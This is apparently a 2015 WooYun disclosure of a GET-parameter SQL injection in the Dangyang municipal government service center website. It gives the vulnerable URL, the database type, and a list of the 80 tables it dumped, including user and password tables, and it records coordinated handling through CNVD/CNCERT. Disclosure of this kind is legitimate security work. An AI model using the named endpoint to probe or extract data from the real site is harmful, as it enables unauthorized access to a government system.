当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0106655

漏洞标题:某市人民政府政务服务中心另一处get注射

相关厂商:当阳市人民政府

漏洞作者: 路人甲

提交时间:2015-04-10 14:41

修复时间:2015-05-29 18:00

公开时间:2015-05-29 18:00

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:11

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-10: 细节已通知厂商并且等待厂商处理中
2015-04-14: 厂商已经确认,细节仅向厂商公开
2015-04-24: 细节向核心白帽子及相关领域专家公开
2015-05-04: 细节向普通白帽子公开
2015-05-14: 细节向实习白帽子公开
2015-05-29: 细节向公众公开

简要描述:

某市人民政府政务服务中心另一处get注射
前面提交了一处get注入

详细说明:

问题存在于当阳市人民政府政务服务中心
http://www.dyxz.gov.cn/busiitemShow.TJ?spsxid=42058201115411X003-004&spsxmc=%BC%D2%B5%E7%A3%A8%BA%AC%B5%E7%D7%D3%D0%C5%CF%A2%D6%D5%B6%CB%B2%FA%C6%B7%A3%A9%B2%FA%C6%B7%CE%AC%D0%DE%D0%ED%BF%C9%D6%A4%BA%CB%D7%BC&depName=????????????? (GET)

1.png


1.png


漏洞证明:

back-end DBMS: Microsoft SQL Server 2005
Database: web_dangyang
[80 tables]
+-----------------------------+
| T_APPLICANT |
| T_BSGXB |
| T_BUSIITEM |
| T_BUSINESS |
| T_DCB |
| T_DEALSELDOCS |
| T_DJL |
| T_DOCCONFIG |
| T_FAQ |
| T_GROUPOFUSER |
| T_HFB |
| T_INFORMATION |
| T_JC_TS_GRSF |
| T_JC_TS_TSLX |
| T_JC_TS_TSWTFL |
| T_JC_TS_XB |
| T_JC_TS_XZXWLX |
| T_JC_TS_YESORNO |
| T_JC_XZXK_BANJIE |
| T_JC_XZXK_BUSIINDEX |
| T_JC_XZXK_BUSI_TIMELIMIT |
| T_JC_XZXK_PERMISSIONITEMSYS |
| T_JC_XZXK_SHOULI |
| T_LOG |
| T_LYB |
| T_MENU |
| T_OL_BUSIDEAL |
| T_OL_DIANZIWENDANG |
| T_OL_EDOCUMENT |
| T_OL_SHENQINGBIANHAO |
| T_OL_SHENQINGFANGZILIAO |
| T_OL_XIANSHIXINXIPEIZHI |
| T_OL_YEWUSHENQING |
| T_ONLINEUSER |
| T_POWER |
| T_POWEROFGROUP |
| T_POWEROFUSER |
| T_QYJMBSB_FL |
| T_QYJMBSB_SL |
| T_QYJMBSB_ZL |
| T_SATISFYANSWER |
| T_SATISFYSUBJECT |
| T_SB_USER |
| T_SELDOC |
| T_SPITEMOFBUSIITEM |
| T_SURVEY |
| T_SYSDUTY |
| T_SYS_DEPARTMENT |
| T_SYS_DUTY |
| T_TEMPLATE |
| T_TSDH |
| T_TSLX |
| T_TSSLB |
| T_TSTYPE |
| T_TSWTFL |
| T_TSXB |
| T_USER |
| T_USERGROUP |
| T_WEBUSER |
| T_WEBUSERINFO |
| T_XKWD |
| T_YSBUSI |
| T_ZILEI_SUNLEI_GUANXI |
| T_ZRXX |
| VIEW1 |
| dtproperties |
| sqlmapoutput |
| t_allforms |
| t_chats |
| t_department |
| t_document |
| t_duty |
| t_exception_info |
| t_forms |
| t_passwordofforms |
| t_permissionitem |
| t_permissionitem_bak |
| t_permissionitem_type |
| t_query |
| t_web_user |
+-----------------------------+

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-04-14 17:59

厂商回复:

CNVD确认并复现所述漏洞情况,已经转由CNCERT下发给湖北分中心,由湖北分中心后续协调网站管理单位处置。

最新状态:

暂无